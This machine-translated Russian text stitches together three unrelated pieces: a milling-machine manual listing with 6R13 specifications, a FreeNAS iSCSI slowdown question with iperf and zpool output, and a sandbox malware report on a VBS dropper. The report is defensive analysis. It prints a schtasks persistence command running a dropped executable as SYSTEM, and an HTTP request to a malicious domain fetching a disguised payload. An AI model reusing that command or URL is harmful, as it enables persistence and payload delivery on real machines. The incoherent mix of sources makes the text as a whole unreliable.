    677 Скачиваний (2444 Просмотров) 

    Обновлен: 02 Nov 2010


    ВМ127М, станок вертикально-фрезерный,
    Воткинск, элек…

    Электросхема фрезерного станка ВМ127М



    378 Скачиваний (1511 Просмотров) 

    Обновлен: 26 Feb 2009


    Эскизы и фотографии серьги для 675п

    Огромный сенкс Igor78 за создание эскизы и фотки.



    556 Скачиваний (1561 Просмотров) 

    Обновлен: 08 Aug 2009


    6н13п_электросхема

    Электрическая принципиальная схема станка 6н13п (или 6Ь13П,
    опечатк…



    242 Скачиваний (1236 Просмотров) 

    Обновлен: 16 Jun 2010


    FNK-25А, станок фрезерный универсальный,
    Чехословакия

    Паспорт и инструкция по эксплуатации. Качество оригинала — очень
    ср…



    1111 Скачиваний (3254 Просмотров) 

    Обновлен: 16 Feb 2009


    Вертикальные консольно-фрезерные станки
    6Р82,6Р83,6Р. ..

    Руководство по эксплуатации электрооборудования, электросхемы….
    с…



    980 Скачиваний (2308 Просмотров) 

    Обновлен: 12 Feb 2009


    FSS400_shema_EFE700

    Схема станка с контроллером EFE700



    697 Скачиваний (2198 Просмотров) 

    Обновлен: 08 Feb 2009


    FSS400

    паспорт отдельные страницы



    1490 Скачиваний (3724 Просмотров) 

    Обновлен: 20 Oct 2011


    Консольно-фрезерные вертикальные станки
    6Р12,6Р12Б,6. ..

    Здесь можно найти ВСЁ: кинематика, устройство и работа станков,
    гра…



    313 Скачиваний (1697 Просмотров) 

    Обновлен: 02 Nov 2011


    С-169, станок универсальный фрезерный, РЭ,
    Москва

    С-169, станок универсально-фрезерный, паспорт, чертежи некоторых
    де…



    131 Скачиваний (731 Просмотров) 

    Обновлен: 03 Feb 2012


    Гидросхема 6740ВФ20 tiff

    схема и описание



    490 Скачиваний (1161 Просмотров) 

    Обновлен: 20 Jan 2009


    FU 400 часть 2

    паспорт



    471 Скачиваний (1484 Просмотров) 

    Обновлен: 20 Jan 2009


    FU 400 часть 1

     


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    6Р13.

    Вертикально-фрезерный станок. Паспорт, Характеристики, Схема, Руководство

    Едва ли найдется отрасль тяжелой промышленности и машиностроения, где не задействуются, так или иначе, фрезерные станки. С их помощью значительно упрощается и ускоряется процесс формовки поверхностей, достигается высокая точность и удобство обработки, обеспечивается большой потенциал автоматизации производства.

    Современный рынок предлагает фрезерные станки различных типов и конфигураций, что позволяет подбирать устройства в точном соответствии с потребностями технологического процесса. Однако не теряют популярности и универсальные модели, прошедшие испытание временем и доказавшие на деле свою надежность и практичность. Одним из наиболее известных устройств подобного рода является вертикально-фрезерный станок 6Р13. Несмотря на появление новых представителей того же модельного ряда (серии 6Т и FSS), модель 6Р13 остается на плаву благодаря совокупности описанных эксплуатационных качеств и лояльной цене.

    Область применения

    Станок 6Р13 предназначен для выполнения фрезерных, сверлильных и расточных работ по чугуну, стали, цветными металлам, некоторым видам пластмасс и др. Он допускает обработку поверхностей, расположенных в вертикальной и горизонтальной плоскостях, под углами до 45 градусов, в пазах и криволинейных элементах профиля при помощи фрез:

    • торцевых;
    • концевых;
    • цилиндрических;
    • радиусных;
    • других типов.

    Станок выпускается Горьковским заводом фрезерных станков (ГЗФС) с 1972 года и получил широкое распространение как на территории бывшего СССР, так и за ее пределами. Известен своей надежностью, неприхотливостью к условиям работы и качеству обслуживания, высоким качеством исполнения.

    Фото: 6Р13.

    6М13П – Станок вертикальный консольно-фрезерный

    Купить станочный подшипник с доставкой

    Технические характеристики:

    Станки модели 6м13п предназначены для выполнения различных фрезерных работ в условиях как индивидуального, так и крупносерийного производства. В крупносерийном производстве станки могут быть успешно использованы также для выполнения работ операционного характера.

    длина 2565 ширина 2135 высота мм 2235

    Вес станка кг 4060

    Наименьшее и наибольшее расстояние от торца шпинделя до стола мм 30-500 Расстояние от оси шпинделя до вертикальных направляющих станины мм 450 Наибольшее расстояние от задней кромки стола до вертикальных направляющих станины мм 360 Размер рабочей поверхности стола (длина/ширина) мм 1600/400

    Наибольшие перемещения стола:

    продольное от руки 900 продольное механически 900 поперечное от руки 320 поперечное механически 300 вертикальное от руки 420 вертикальное механически мм 400

    Выключающие упоры продольной, поперечной и вертикальной подач Есть

    Автоматическая прерывная подача:

    продольная Есть поперечная и вертикальная Нет Перемещение на одно деление лимба мм 0,05

    Перемещение на один оборот лимба:

    продольное и поперечное 6 вертикальное мм 2

    Число Т-образных пазов 3 Предохранение от перегрузки (муфты) Есть Блокировка ручной и механической подач Есть

    система ГОСТ836-62 размер №3 Торможение шпинделя Есть Блокировка рукояток Есть

    Наибольшее осевое перемещение пиноли шпинделя от руки мм 85 Перемещение пиноли на один оборот лимба мм 4 Перемещение пиноли на одно деление лимба мм 0,05 Наибольший угол поворота шпиндельной головки град ±45 Поворот на одно деление шкалы град 1

    Продажа инструмента, оборудования, станков, оснастки. СПб. [email protected] , +7(911)941-0011.

    Стоимость: Уточняйте

    Вертикальный консольно-фрезерный станок мод. 6М13П представляет собой оригинальный станок высокой точности и жесткости. Шпиндель станка смонтирован в поворотной головке имеющей поворот в вертикальной плоскости, параллельной продольному ходу стола, на угол в 45 градусов в любую сторону.

    Модельный ряд

    Горьковский завод фрезерных станков начал их производство в 1932 году с модели 682. За ней последовали:

    • 6Б12 –выпускался с 1937 года;
    • 6Н12 — с 1951 года;
    • 6Н13ПР — с 1956 года, признан лучшим станком своего времени;
    • 6Н13Ф3-2 — с 1957 года, впервые установлено ЧПУ;
    • 6М12 — с 1960 года;
    • 6М12П — с 1961 года, высокоточный станок;
    • 6Р13 — с 1972 года, заменил станок морально устаревший 6М12;
    • 6Р12Б — с 1974 года, относится к классу быстроходных станков;
    • 6Р13РФ3 — с 1976 года, использовано ЧПУ, установлена револьверная головка;
    • 6Р12К-1К-1 — с 1978 года, установлено копировальное устройство;
    • 6Т12-1 — с 1985 года, унифицированы основные узлы и агрегаты;
    • 6Т12 — с 1991 года, усовершенствованная модель 1985 года.

    Технические характеристики

    Информация о некоторых характеристиках станка заложена уже в маркировке. Так, цифра «6» означает тип станка — фрезерный, буква «Р» указывает на поколение (пятое, после поколений Б, К, Н, М), а индекс «13» говорит о размерах стола — они составляют 1600*400 мм. Среди других важных данных:

    1. Высота шпинделя над поверхностью стола — от 30 до 500 мм;
    2. Величина максимального перемещения стола: в вертикальной плоскости — 430 мм; в продольной — 1000 мм; в поперечной — 400 мм.
    3. Величина перемещения стола на одно деление лимба — 0,05 мм в любой плоскости.
    4. Скорость холостого перемещения стола — до 4000 мм/мин в горизонтальной плоскости и до 1330 мм/мин в вертикальной.
    5. Величина подачи — до 12,5-1600 мм/мин в горизонтальной плоскости и до 4,1-530 мм/мин в вертикальной.
    6. Максимальный диаметр фрезы при черновой обработке — 200 мм.
    7. Всего скоростей шпинделя — 18.
    8. Скорость вращения шпинделя — от 31,5 до 1600 об/мин.
    9. Максимальный угол поворота головки шпинделя — 45 градусов.
    10. Мощность привода главного движения — 11 кВт.
    11. Мощность привода подач — 3 кВт.
    12. Максимальная масса обрабатываемой заготовки или детали — 630 кг.
    13. Габаритные размеры станка: высота — 2430 мм; длина — 2570 мм; ширина — 2250 мм.
    14. Масса снаряженного станка — 4300 кг.

    Обозначение

    Буквенно-цифирный индекс Вертикально-фрезерный станок 6Р13, 6Т13, 6М13П, 6Н13П, 6Н13 обозначает следующее: цифра 6 — это фрезерный станок; индекс Р, Т, М, Н — обозначает завод-производитель станка , цифра 1 – обозначает вертикально-фрезерный станок, цифра 3 – типоразмер станка (размер стола).

    Технические характеристикиПараметры
    Размеры рабочей поверхности стола, мм1 600 х 400
    Наибольшее продольное перемещение стола, мм1 000
    Наибольшее поперечное перемещение стола, мм400
    Наибольшее вертикальное перемещение стола, мм430
    Расстояние от торца шпинделя до рабочей поверхности стола, мм70 — 500
    Пределы частот вращения шпинделя, мин -131,5 — 1600
    Ускоренное продольное перемещение стола, мм/мин4 000
    Ускоренное поперечное перемещение стола, мм/мин4 000
    Ускоренное вертикальное перемещение стола, мм/мин1 330
    Максимальная масса обрабатываемой детали с приспособлением, кг1 250
    Мощность электродвигателя привода шпинделя, кВт11
    Мощность электродвигателя привода стола, кВт3
    Конус шпинделя по ГОСТ 30064-93ISO 50
    Габаритные размеры станка (Д х Ш х В), мм2 570 х 2 252 х 2 430
    Масса станка с электрооборудованием, кг4 300

    Кинематическая схема

    Привод шпинделя фрезерного станка 6Р13 осуществляется электромотором при помощи ступенчатого семивального редуктора, расположенного в верхней части станка. Он же исполняет функции регулировки скорости вращения. Привод стола осуществляется через сложный многовальный механизм от маломощного электродвигателя, или вручную посредством механических управляющих устройств. Расположение этих и некоторых других элементов указано на кинематической схеме станка.

    Основные узлы станка

    Основной частью фрезерного станка 6Р13 является станина, которая служит для размещения остальных крупных узлов. В образованной ею нише располагается подвижная консоль с закрепленной на ней коробкой подач. Последняя выполняет функцию передачи крутящего момента к вспомогательным рабочим органам станка с его изменением по величине и направлению, т. е. участвует в процессе регулировки режима работы устройства. На консоли располагаются салазки и рабочий стол, которые также участвуют в формировании рабочего движения и служат надежным механизмом крепления обрабатываемой детали.

    Внутри станины за соответствующими щитками располагаются блок электрооборудования и коробка скоростей, сгруппированная с коробкой переключения. Электрооборудование отвечает за своевременное и полное снабжение электрическим током двигателей устройства, осуществляет контроль за режимом работы и некоторые регулировочные функции. В некоторых модификациях этот модуль включает ЧПУ. Коробка скоростей и коробка переключения необходимы для передачи крутящего момента к шпинделю с ручным выбором одной из 18 возможных скоростей вращения.

    В отдельный узел выделяют также поворотную головку шпинделя. Она необходима для обработки поверхностей, расположенных под углом до 45 градусов относительно рабочей плоскости стола станка.

    1. Станина
    2. Поворотная головка
    3. Коробка скоростей
    4. Коробка подач
    5. Коробка переключения
    6. Консоль
    7. Стол и салазки
    8. Электрооборудование

    Коробка подач в сборе 6Р13

    Коробка подач в сборе для фрезерного станка 6Р13. Также вы можете заказать отдельно:

    Вал 1 оси коробки скоростей 6Р13.3.39СБ

    Блок шестерен ВМ127М.4.700 Вал 6Р13. 3.123 СБ Вал 6Р13.3.33Н СБ Вал 6Р13.3.40Н СБ Вал 6Р13.3.64Н СБ Вал фрикционный 6Р13.4.50Б СБ (игольчатый подшипник) Вал шлицевый 6Р13.4.45Н СБ Диски фрикционные комплект 6Р13 Диск фрикционный 6Р13.4.172/72Н. Зубчатые колеса в сборе 6Р13.3.51ДР/6Р13.3.52ДР Колесо зубчатое 6Р13.3.43ДР Колесо зубчатое 6Р13.3.46ДР Колесо зубчатое 6Р13.3.47ДР Комплект шестерен коробки подач 6Р13 Корзина фрикциона 6Р13 Коробка пререключения 6Р13.5.01-01 Коробка подач 6Р13.4.01А01 Коробка скоростей 6Р13.3.01-01 Муфта кулачковая 6Р13.4.39 Муфта кулачковая 6Р13.4.39Г Муфта кулачковая 6Р13.4.57А Муфта кулачковая 6Р13.6.151БР Муфта фрикционная 6Р83 в сборе Муфта фрикционная 6Р13 Муфта фрикциона 6Р13.4.55Б

    Коробки подач фрезерных станков общего назначения представляют собой многоваловые коробки, изменение частот вращения выходного вала которых обеспечивается рядом групповых передач с подвижными блоками или кулачковыми муфтами. Коробки подач обеспечивают ряд рабочих подач и ускоренные перемещения. Для предохранения механизма подач от перегрузок в коробках предусматривают предохранительные шариковые или дисковые фрикционные муфты.

    В станках с числовым программным управлением коробки подач отсутствуют, и вращение от высокомоментного двигателя с широким диапазоном регулирования передается непосредственно (или через несложный редуктор) на тяговое устройство (ходовой винт). Требуемая частота вращения шпинделя и подача во фрезерных станках обеспечиваются относительно сложным, но удобным в эксплуатации механизмом управления. Назначение этих механизмов — предварительный выбор требуемой частоты или подачи во время работы станка на предыдущей операции и, после остановки станка, включение новой частоты или подачи одной рукояткой. Очевидно, такой механизм должен обеспечить перемещение блоков и включение кулачковых муфт в определенной, наперед заданной комбинации. Механизм управления главным движением фрезерного станка показан на рис. 6.7. В отдельном корпусе 1, монтируемом на передней стенке коробки скоростей, расположен указатель 2 частот вращения шпинделя. Поворачивая этот указатель, через установленные на валиках 4 и 6 конические колеса 5 я 7 можно поворачивать диск переключения 16. В диске переключения имеются концентрично расположенные отверстия определенного диаметра, которые при фиксированном повороте диска устанавливаются против каждой пары толкателей 14 и15, предназначенных для переключения одного блока. Число пар толкателей соответствует числу перемещаемых блоков зубчатых колес или кулачковых муфт. На рисунке показан только один блок 11. Толкатели связаны между собой шестереннореечной передачей 8, 9, 10, причем на одном из толкателей закреплена вилка 12, взаимодействующая с блоком. Правые концы толкателей выполнены ступенчатыми для обеспечения двух или трех положений блока. Рукояткой 18 через сектор-рейку 20 перемещают вилку управления диском 17. Между рейками шестеренно-реечной передачи и толкателем установлены пружины 13, которые сжимаются при совпадении зубьев блока и шестерни по торцам. Положение рукоятки 18 и указателя 2 фиксируется соответственно фиксаторами 19 и 3.

    В начале переключения рукояткой 18 отводят диск 16 в правое положение. Затем указателем 2 поворачивают диск 16, угловое положейие которого соответствует заданной частоте вращения шпинделя. Рукояткой 18 диск перемещают влево. Если против одного из толкателей каждой пары отсутствует отверстие (против другого толкателя пары в этот момент находится отверстие), то толкатель или непосредственно, или через реечную передачу перемещает блок в нужное положение. Если требуется перемещать тройной блок, то толкатели блока на левом конце имеют две ступени.

    Аналогично устроен и механизм управления движением подачи. В тяжелых фрезерных станках механизм переключения имеет гидравлический или электрический привод.

    Работа станка

    Фрезерный станок 6Р13 работает по классической схеме, в которой главным рабочим движением является вращение фрезы, а вспомогательным — подача стола с закрепленной на нем заготовкой или деталью. Режим работы в станках старой конструкции рассчитывается вручную и задается посредством регулировочных рукояток и рычагов. В более современных модификациях регулировку и контроль процесса фрезерования осуществляет ЧПУ, становится возможным работа по шаблону благодаря копировальному устройству.

    Ручное управление

    Осуществляется при помощи основных и дублирующих маховиков продольного и поперечного перемещения стола, рукояти ручного вертикального перемещения, маховика выдвижения гильзы шпинделя. После переключения соответствующего тумблера, становится возможна работа в автоматизированном режиме, где доступен выбор нескольких предустановленных подач. Ряд управляющих механизмов вносит изменения в направление вращения шпинделя, угол его наклона, скорость вращения, режимы освещения и охлаждения. Отдельно осуществляется общий пуск станка и пуск шпинделя, кнопки аварийной остановки работы дублированы в удобных местах.

    6Р13 характеризуется относительной простотой в работе, не слишком требователен к квалификации фрезеровщика и для опытного рабочего интуитивно понятен. Эти качества, в купе с безотказностью и высоким качеством обработки материалов, обусловили потребность в станке различных отраслей народного хозяйства.

    Наиболее эффективно использование станка на небольших машиностроительных фирмах, авторемонтных предприятиях.

    iscsi — Freenas работает медленно — сеть @ 400 МБ/с, диск @ 150 МБ/с

    У меня есть 16-ядерный экземпляр FreeNAS 11.3-U4.1 с виртуализацией, работающий на Hyper-V с 32 ГБ ОЗУ и 18 ТБ цели iscsi на DELL T630. оборудование серверного уровня.

    Жесткие диски находятся в режиме IT с карты RAID, поэтому представлены в коробке FreeNAS как отдельные диски.

    Дедупликация не выполняется, только сжатие по умолчанию.

    Общий ресурс Windows использует ReFS в качестве инициатора iscsi на Windows Server 2019и не заполнен только 1 ТБ или около того, используется для передачи тестовых файлов фильмов.

    На нескольких протестированных машинах (по одной за раз) сначала он работает быстро при любой передаче — чтение или запись со скоростью 130 МБ/с, но затем примерно через минуту замедляется до 40 Мбит/с, а иногда даже продолжает зависать.

    Сетевые тесты выполняются быстро как внутри, через машины на той же машине, так и на внешних машинах:

     root@freenas[~]# iperf3 -s
    -------------------------------------------------- ---------
    Сервер прослушивает 5201
    -------------------------------------------------- ---------
    ^Ciperf3: прерывание - работа сервера завершена
    root@freenas[~]# iperf3 -s
    -------------------------------------------------- ---------
    Сервер прослушивает 5201
    -------------------------------------------------- ---------
    Принимается подключение от 192. 168.69.139, порт 49435
    [5] локальный порт 192.168.69.4 5201 подключен к порту 192.168.69.139 49437
    [ID] Битрейт интервальной передачи
    [ 5] 0,00-1,00 с 105 МБ 878 Мбит/с
    [ 5] 1,00-2,00 с 112 МБ 941 Мбит/с
    [ 5] 2,00-3,00 с 112 МБ 938 Мбит/с
    [ 5] 3.00-4.00 сек 112 МБ 939 Мбит/сек
    [ 5] 4.00-5.00 сек 112 МБ 941 Мбит/сек
    [ 5] 5.00-6.00 сек 111 МБ 935 Мбит/сек
    [ 5] 6.00-7.00 сек 112 МБ 939 Мбит/сек
    [ 5] 7.00-8.00 сек 111 МБ 933 Мбит/сек
    [ 5] 8.00-9.00 сек 112 МБ 942 Мбит/сек
    [ 5] 9.00-10.00 сек 112 МБ 941 Мбит/сек
    [ 5] 10.00-10.00 сек 339 Кбайт 955 Мбит/сек
    - - - - - - - - - - - - - - - - - - - - - - - - -
    [ID] Битрейт интервальной передачи
    [ 5] 0,00-10,00 с 1,09 ГБ 933 Мбит/с приемник
    -------------------------------------------------- ---------
    Сервер прослушивает 5201
    -------------------------------------------------- ---------
    Принимается подключение от 192.168.69.5, порт 50601
    [5] локальный порт 192.168.69.4 5201 подключен к порту 192.168.69.5 50602
    [ID] Битрейт интервальной передачи
    [ 5] 0,00-1,00 с 392 Мбайт 3,29 Гбит/с
    [ 5] 1,00-2,00 с 407 МБ 3,41 Гбит/с
    [ 5] 2,00-3,00 с 426 Мбайт 3,57 Гбит/с
    [ 5] 3,00-4,00 с 430 МБ 3,60 Гбит/с
    [ 5] 4,00-5,00 с 413 МБ 3,46 Гбит/с
    [ 5] 5,00-6,00 с 429 Мбайт 3,60 Гбит/с
    [ 5] 6,00-7,00 с 372 МБ 3,12 Гбит/с
    [ 5] 7. 00-8.00 сек 429МБ 3,60 Гбит/сек
    [ 5] 8.00-9.00 сек 424 МБ 3,56 Гбит/сек
    [ 5] 9.00-10.00 сек 425 МБ 3,56 Гбит/сек
    [ 5] 10.00-10.00 сек 125 Кбайт 2,29 Гбит/сек
    - - - - - - - - - - - - - - - - - - - - - - - - -
    [ID] Битрейт интервальной передачи
     

    Загрузка процессора поверху минимальна:

     последний pid: 15377; средние нагрузки: 1,15, 0,90, 1,06 до 0+12:42:50 03:48:22
    44 процесса: 1 работающий, 43 спящих
    ЦП: 0,1% пользователей, 0,0% хороших, 15,7% системных, 0,0% прерываний, 84,2% бездействующих.
    Память: 14M активных, 488M неактивных, 1060M стирки, 28G проводных, 1584M свободных
    ARC: всего 25G, 852M MFU, 19G MRU, 4773M Anon, 580M Заголовок, 75M Другое
         20G со сжатием, 23G без сжатия, соотношение 1,12:1
    Обмен: 6144M всего, 46M использовано, 6097M свободно
      PID USERNAME THR PRI NICE SIZE RES STATE C TIME WCPU COMMAND
      104 root 41 20 0 329M 258M kqread 5 3:15 0,77% python3.7
    15347 корень 1 20 0 7892K 3452K CPU5 5 0:00 0,16% Верх
     1917 www 1 20 0 30920K 10268K kqread 6 0:01 0,03% nginx
       93 root 1 20 0 9164K 5548K выберите 7 0:04 0,02% devd
     5597 root 8 20 0 40284K 17892K select 6 1:25 0,00% rrdcached
     1323 корень 1 20 0 12484K 12580K выбрать 2 0:02 0,00% ntpd
     1522 корень 1 20 0 9012K 5024K выбор 5 0:01 0,00% zfsd
     1433 корень 1 20 0 127M 105M kqread 2 0:03 0. 00% uwsgi-3.7
     5622 root 11 20 0 354M 261M nanslp 7 6:57 0.00% Собрано
     

    zpools находятся ниже:

     root@freenas[~]# список zpool -v
    НАЗВАНИЕ РАЗМЕР ALLOC FREE CKPOINT EXPANDSZ FRAG CAP DEDUP HEALTH ALTROOT
    Freenas-загрузка 110G 1.25G 109G - - 0% 1% 1,00x ОНЛАЙН -
      da0p2 110G 1.25G 109G - - 0% 1%
    pool1 32.5T 2.60T 29.9T - - 1% 7% 1.00x ОНЛАЙН /млн
      raidz2 32,5 т 2,60 т 29,9 т - - 1% 7%
        gptid/e7aba92d-dc27-11ea-b1e2-00155d450302 - - - - - - -
        gptid/ea0339c1-dc27-11ea-b1e2-00155d450302 - - - - - - -
        gptid/eadd3d73-dc27-11ea-b1e2-00155d450302 - - - - - - -
        gptid/eb18ed64-dc27-11ea-b1e2-00155d450302 - - - - - - -
        gptid/eb80f3cc-dc27-11ea-b1e2-00155d450302 - - - - - - -
        gptid/eb99fe09-dc27-11ea-b1e2-00155d450302 - - - - - - -
     

    с помощью root@freenas[~]# ./solnet-array-test-v2.sh я вижу (показ записи займет 467 минут, я уверен, что скорость записи в порядке, поскольку изначально она высокая):

     Диск Размер диска МБ/с %ofAvg
    ------- ---------- ------ ------
    da0 130048 МБ 658 268 ++БЫСТРЫЙ++
    da1 5723166MB 204 83 --МЕДЛЕННО--
    da2 5723166MB 176 72 --МЕДЛЕННО--
    da3 5723166MB 164 67 --МЕДЛЕННО--
    da4 5723166MB 161 66 --МЕДЛЕННО--
    da5 5723166MB 186 76 --МЕДЛЕННО--
    da6 5723166MB 167 68 --МЕДЛЕННО--
    Выполнение начального чтения параллельного массива
    Ср 12 авг 04:06:35 PDT 2020
    Диск da0 имеет размер 130048 МБ. 
    Диск читается со скоростью около 1075 МБ/сек.
    Это говорит о том, что этот проход может занять около 2 минут.
                       Серийный Параллельный % от
    Диск Размер диска МБ/сек МБ/сек Последовательный
    ------- ---------- ------ ------ ------
    da0 130048MB 658 0 0 --МЕДЛЕННО--
    да1 5723166МБ 204 204 100
    да2 5723166МБ 176 164 93
    да3 5723166МБ 164 166 101
    да4 5723166МБ 161 159 99
     

    Чтобы добавить, дисковые пространства Windows с тем же оборудованием имеют постоянную скорость 150 МБ / с (почти то, что я вижу выше с тестом), , но без замедления через 1 минуту до 30-50 МБ / с, которое я вижу при фактическом использовании Freenas.

    Любая другая диагностика, которую мне нужно провести, или идеи о том, что это может быть?

    Бесплатная служба автоматизированного анализа вредоносных программ на базе Falcon Sandbox

    JVC_187.vbs

    Этот отчет создан на основе файла или URL-адреса, отправленного в эту веб-службу 22 октября 2019 г. 20:10:07 (UTC)
    Гостевая система: Windows 7, 32-разрядная, Профессиональная, 6.1 (сборка 7601), Пакет обновления 1
    Создан отчет по
    Falcon Sandbox v8.30 © Гибридный анализ

    Обзор Образец не передан

    Повторный анализ
    Хэш видел до Показать похожие образцы

    Запросить удаление отчета

    Реагирование на инцидент

    Оценка рисков

    Стойкость
    Изменяет функцию автоматического выполнения, устанавливая/создавая значение в реестре.

    Планирует выполнение задачи в определенное время и дату.

    Порождает много процессов
    Отпечаток пальца
    Информация о процессе запросов

    Читает имя активного компьютера
    Уклонение
    Проверяет свойство устройства (часто используется для обнаружения артефактов виртуальной машины)

    Обнаружена ссылка на строку запроса WMI, которая, как известно, используется для обнаружения ВМ.
    Поведение сети
    Контакты 1 домен и 1 хост.
    Посмотреть все детали

    Методы обнаружения MITRE ATT&CK™

    В этом отчете есть 20 индикаторов, которые были сопоставлены с 15 техниками атаки и 6 тактиками.
    Посмотреть все детали

    Исполнение
    Т1047 Инструментарий управления Windows
    • Исполнение
    Инструментарий управления Windows (WMI) — это функция администрирования Windows, которая обеспечивает единую среду для локального и удаленного доступа к системным компонентам Windows.
    Узнать больше
    • Найдена ссылка на строку запроса WMI, которая, как известно, используется для обнаружения ВМ.

    • Содержит ссылки на WMI/WMIC

    Т1168 Локальное планирование заданий
    • Исполнение
    • Стойкость
    В системах Linux и Apple поддерживается несколько методов для создания заранее запланированных и периодических фоновых заданий: cron, Die.
    Узнать больше
    • 1 конфиденциальные индикаторы
    • 1 конфиденциальные индикаторы
    Постоянство
    Т1060 Ключи запуска реестра / Стартовая папка
    • Стойкость
    Добавление записи в «ключи запуска» в реестре или в папке автозагрузки приведет к тому, что указанная программа будет выполняться при входе пользователя в систему.
    Узнать больше
    • Изменяет функцию автоматического выполнения, устанавливая/создавая значение в реестре.

    Т1215 Модули ядра и расширения
    • Стойкость
    Загружаемые модули ядра (или LKM) — это фрагменты кода, которые можно загружать и выгружать в ядро ​​по запросу.
    Узнать больше
    • 1 конфиденциальные индикаторы
    • Содержит возможность перечисления процессов/модулей/потоков

    • Открывает драйвер устройства безопасности ядра (KsecDD) Windows.

    Т1168 Локальное планирование заданий
    • Исполнение
    • Стойкость
    В системах Linux и Apple поддерживается несколько методов для создания заранее запланированных и периодических фоновых заданий: cron, Die.
    Узнать больше
    • 1 конфиденциальные индикаторы
    • 1 конфиденциальные индикаторы
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Повышение привилегий
    Т1055 Процесс впрыска
    • Уклонение от обороны
    • Повышение привилегий
    Внедрение процесса — это метод выполнения произвольного кода в адресном пространстве отдельного живого процесса.
    Узнать больше
    • Записывает данные в удаленный процесс

    • Выделяет виртуальную память в удаленном процессе

    • 2 конфиденциальных индикатора
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Уклонение от обороны
    Т1055 Процесс впрыска
    • Уклонение от обороны
    • Повышение привилегий
    Внедрение процесса — это метод выполнения произвольного кода в адресном пространстве отдельного живого процесса.
    Узнать больше
    • Записывает данные в удаленный процесс

    • Выделяет виртуальную память в удаленном процессе

    • 2 конфиденциальных индикатора
    Доступ к учетным данным
    Т1179 Зацеп
    • Доступ к учетным данным
    • Стойкость
    • Повышение привилегий
    Процессы Windows часто используют функции интерфейса прикладного программирования (API) для выполнения задач, требующих многократного использования системных ресурсов.
    Узнать больше
    • Устанавливает хуки/патчи запущенного процесса

    Дискавери
    Т1082 Обнаружение системной информации
    • Дискавери
    Злоумышленник может попытаться получить подробную информацию об операционной системе и оборудовании, включая версию, исправления, исправления, пакеты обновлений и архитектуру.
    Узнать больше
    • Содержит возможность запрашивать информацию о ЦП

    Т1120 Обнаружение периферийных устройств
    • Дискавери
    Злоумышленники могут попытаться собрать информацию о подключенных периферийных устройствах и компонентах, подключенных к компьютерной системе.
    Узнать больше
    • Проверяет свойство устройства (часто используется для обнаружения артефактов виртуальной машины)

    • Запрашивает информацию о томе всего жесткого диска

    • Запрашивает информацию об объеме

    Т1124 Обнаружение системного времени
    • Дискавери
    Системное время устанавливается и сохраняется службой времени Windows в домене для обеспечения синхронизации времени между системами и службами в корпоративной сети.
    Узнать больше
    • Содержит возможность запрашивать машинное время

    Т1057 Обнаружение процесса
    • Дискавери
    Злоумышленники могут попытаться получить информацию о запущенных процессах в системе.
    Узнать больше
    • 1 конфиденциальные индикаторы
    Т1012 Реестр запросов
    • Дискавери
    Злоумышленники могут взаимодействовать с реестром Windows для сбора информации о системе, конфигурации и установленном программном обеспечении.
    Узнать больше
    • Читает имя активного компьютера

    Дополнительный контекст

    Связанные артефакты песочницы

    Связанные SHA256s
    30cf264b5be98f9b6151ae9b038c99f86adc286111429ea30ab0f72861aa2898

    Индикаторы

    Детали файла


    Все детали:

    JVC_187.

    vbs

    Имя файла
    JVC_187.vbs
    Размер
    3,7 МБ (3881971 байт)
    Тип
    скрипт vbs
    Описание
    Текст ASCII с очень длинными строками
    Архитектура

    WINDOWS
    SHA256

    688bf430b4386a62beaf2ca89060d18fdc2e1710af008e5a4a5be

    d14020

    MD5

    5880B6BA79C03364AB2A408D819E0DC5
    SHA1

    E57DA872E708037CE2C40FEDC68E678855.

    49152:RKaqtBNgOstkJjOqnA8B/tnNHAjeOiJ6sdi0KiGuxM44G18DgwXxzIqCkYDQq43B:J

    Скриншоты

    Загрузка контента, пожалуйста, подождите. ..

    • Использование ЦП
    • Принятые байты
    • Чтение с диска, байт/сек
    • Запись на диск, байт/сек
    • сетевых пакетов/сек
    • байт файла подкачки

    Гибридный анализ

    Совет: Щелкните проанализированный процесс ниже, чтобы просмотреть дополнительные сведения.

    Всего проанализировано 7 процессов (System Resource Monitor).

    • wscript.exe
      «C:\JVC_187.vbs»

      (PID: 2224)

      • VideoBoost. exe

        (ИД: 2772)

        • VideoBoost. exe


          (ИД: 3528)

        • mvrahy. exe

          (ИД: 3052)

          • mvrahy. exe


            (PID: 3332)

          • проводник. exe

            (ИД: 2168)

        • schtasks. exe
          /Создать /RU «NT AUTHORITY\SYSTEM» /tn zrrrnfyxrs /tr «\»%TEMP%\VideoBoost.exe\» /I zrrrnfyxrs» /SC ONCE /Z /ST 22:16 /ET 22:28

          (ИД: 1564)

    Зарегистрированные вызовы сценариев Зарегистрированный стандартный вывод Извлеченные потоки Дампы памяти
    Ограниченный контроль Сетевая активность Ошибка сети Мультискан Матч

    Сетевой анализ

    Запросы DNS

    Войти для загрузки Запросы DNS (CSV)

    Домен Адрес Регистратор Страна
    clippingpatharena. com

    OSINT

    Связанные артефакты для clippingpatharena.com

    Поле Whois Значение
    Адрес Дом № 45, Лалбаг Келла Гейт Лалбаг, Дакка
    Город Дакка
    Страна БД
    Дата создания Сб, 07 апр 2018 11:57:24 GMT
    DNSSEC без знака
    Имя домена CLIPPINGPATHARENA. COM
    Электронная почта злоупотребление-контакт@publicdomainregistry.com
    Электронная почта [email protected]
    Срок годности Вт, 07 апр 2020 11:57:24 GMT
    имя Моновар Алам
    Сервер имен DNS4.HOSTMIGHT.COM
    Регистрационный номер PDR Ltd. d/b/a PublicDomainRegistry.com
    Статус clientTransferProhibited https://icann. org/epp#clientTransferProhibited
    Последнее обновление Чт, 25 июля 2019 г., 17:48:16 GMT
    Последнее обновление Чт, 04 апр 2019 11:59:13 GMT
    Сервер Whois whois.publicdomainregistry.com
    Почтовый индекс 1231
    67.222.152.235

    ТТЛ: 14399

    PDR Ltd. d/b/a PublicDomainRegistry.com США

    HTTP-трафик

    Конечная точка Запрос URL-адрес Данные
    67.222.152.235:80
    (clippingpatharena.com)
    ПОЛУЧИТЬ clippingpatharena. com/wp-content/uploads/2019/10/acl/mcidnvjbds.png?bg=spx26

